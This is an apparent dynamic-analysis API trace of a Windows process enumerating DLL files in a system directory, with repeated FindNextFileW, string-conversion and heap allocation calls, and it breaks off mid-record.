[0206.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTER.DLL", cchWideChar=16, lpMultiByteStr=0x9dc288, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTIONCENTER.DLL", lpUsedDefaultChar=0x0) returned 16 [0206.253] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.253] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.253] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.253] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de950) returned 1 [0206.253] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de8c8) returned 1 [0206.253] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3c5da79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3c5da79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3c5da79, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x83400, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="ActionCenterCPL.dll", cAlternateFileName="")) returned 1 [0206.253] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de8c8 [0206.253] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de950 [0206.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTERCPL.DLL", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0206.253] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTERCPL.DLL", cchWideChar=19, lpMultiByteStr=0x9dc120, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTIONCENTERCPL.DLL", lpUsedDefaultChar=0x0) returned 19 [0206.253] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.253] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.253] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.253] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de950) returned 1 [0206.253] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de8c8) returned 1 [0206.253] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9adf355b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9adf355b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ae196bb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x31800, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="activeds.dll", cAlternateFileName="")) returned 1 [0206.253] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de8c8 [0206.253] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de950 [0206.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIVEDS.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0206.253] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIVEDS.DLL", cchWideChar=12, lpMultiByteStr=0x9dc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTIVEDS.DLL", lpUsedDefaultChar=0x0) returned 12 [0206.253] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.253] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.253] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.253] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de950) returned 1 [0206.253] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de8c8) returned 1 [0206.253] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a81bf79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a81bf79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a8420d9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4ba00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="actxprxy.dll", cAlternateFileName="")) returned 1 [0206.254] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de8c8 [0206.254] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de950 [0206.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTXPRXY.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0206.254] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTXPRXY.DLL", cchWideChar=12, lpMultiByteStr=0x9dc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTXPRXY.DLL", lpUsedDefaultChar=0x0) returned 12 [0206.254] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.254] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.254] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.254] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de950) returned 1 [0206.254] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de8c8) returned 1 [0206.254] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa343f8c0, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xa343f8c0, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7d856840, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="admparse.dll", cAlternateFileName="")) returned 1 [0206.254] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de8c8 [0206.254] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de950 [0206.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMPARSE.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0206.254] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMPARSE.DLL", cchWideChar=12, lpMultiByteStr=0x9dc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADMPARSE.DLL", lpUsedDefaultChar=0x0) returned 12 [0206.254] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.254] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.254] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.254] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de950) returned 1 [0206.254] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de8c8) returned 1 [0206.254] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1c6129e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1c6129e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1c873fe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6b000, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="AdmTmpl.dll", cAlternateFileName="")) returned 1 [0206.254] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de8c8 [0206.254] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de950 [0206.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMTMPL.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0206.254] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMTMPL.DLL", cchWideChar=11, lpMultiByteStr=0x9dc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADMTMPL.DLL", lpUsedDefaultChar=0x0) returned 11 [0206.254] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.254] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.254] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.254] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de950) returned 1 [0206.254] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de8c8) returned 1 [0206.254] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2f573ca, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe2f573ca, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dbea0b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc200, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="adprovider.dll", cAlternateFileName="")) returned 1 [0206.254] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de8c8 [0206.254] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de950 [0206.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADPROVIDER.DLL", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0206.254] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADPROVIDER.DLL", cchWideChar=14, lpMultiByteStr=0x9dc288, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADPROVIDER.DLL", lpUsedDefaultChar=0x0) returned 14 [0206.255] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.255] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.255] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.255] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de950) returned 1 [0206.255] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de8c8) returned 1 [0206.255] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b68a4f3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b68a4f3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b68a4f3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2da00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="adsldp.dll", cAlternateFileName="")) returned 1 [0206.255] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de8c8 [0206.255] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de950 [0206.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDP.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0206.255] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDP.DLL", cchWideChar=10, lpMultiByteStr=0x9dc120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSLDP.DLL", lpUsedDefaultChar=0x0) returned 10 [0206.255] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.255] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.255] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.255] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de950) returned 1 [0206.255] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de8c8) returned 1 [0206.255] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9f1b122, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xf9f1b122, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dccd180, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x31800, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="adsldpc.dll", cAlternateFileName="")) returned 1 [0206.255] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de8c8 [0206.255] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de950 [0206.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDPC.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0206.255] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDPC.DLL", cchWideChar=11, lpMultiByteStr=0x9dc288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSLDPC.DLL", lpUsedDefaultChar=0x0) returned 11 [0206.255] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.255] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.255] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.255] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de950) returned 1 [0206.255] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de8c8) returned 1 [0206.255] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf66b897d, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xf66b897d, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dccd180, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12e00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="adsmsext.dll", cAlternateFileName="")) returned 1 [0206.255] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de8c8 [0206.255] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de950 [0206.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSMSEXT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0206.255] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSMSEXT.DLL", cchWideChar=12, lpMultiByteStr=0x9dc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSMSEXT.DLL", lpUsedDefaultChar=0x0) returned 12 [0206.255] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.256] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.256] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.256] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de950) returned 1 [0206.256] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de8c8) returned 1 [0206.256] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfad634c2, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xfad634c2, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dcf4280, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3fa00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="adsnt.dll", cAlternateFileName="")) returned 1 [0206.256] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de8c8 [0206.256] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de950 [0206.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSNT.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0206.256] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSNT.DLL", cchWideChar=9, lpMultiByteStr=0x9dc288, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSNT.DLL", lpUsedDefaultChar=0x0) returned 9 [0206.256] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.256] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.256] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.256] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de950) returned 1 [0206.256] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de8c8) returned 1 [0206.256] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fc81ff4, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2fc81ff4, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf1def050, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa6200, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="adtschema.dll", cAlternateFileName="")) returned 1 [0206.256] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de8c8 [0206.256] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de950 [0206.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADTSCHEMA.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0206.256] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADTSCHEMA.DLL", cchWideChar=13, lpMultiByteStr=0x9dc120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADTSCHEMA.DLL", lpUsedDefaultChar=0x0) returned 13 [0206.256] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.256] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.256] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.256] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de950) returned 1 [0206.256] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de8c8) returned 1 [0206.256] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b0c6f80, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b0c6f80, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b0ed0e0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9c600, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="advapi32.dll", cAlternateFileName="")) returned 1 [0206.256] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de8c8 [0206.256] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de950 [0206.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVAPI32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0206.256] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVAPI32.DLL", cchWideChar=12, lpMultiByteStr=0x9dc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADVAPI32.DLL", lpUsedDefaultChar=0x0) returned 12 [0206.256] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.256] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.256] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.256] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de950) returned 1 [0206.256] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de8c8) returned 1 [0206.257] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0777c0d, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xa0777c0d, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7de49f40, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1ee00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="advpack.dll", cAlternateFileName="")) returned 1 [0206.257] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de8c8 [0206.257] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de950 [0206.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVPACK.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0206.257] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVPACK.DLL", cchWideChar=11, lpMultiByteStr=0x9dc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADVPACK.DLL", lpUsedDefaultChar=0x0) returned 11 [0206.257] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.257] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.257] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.257] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de950) returned 1 [0206.257] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de8c8) returned 1 [0206.257] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e862c71, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x5e862c71, 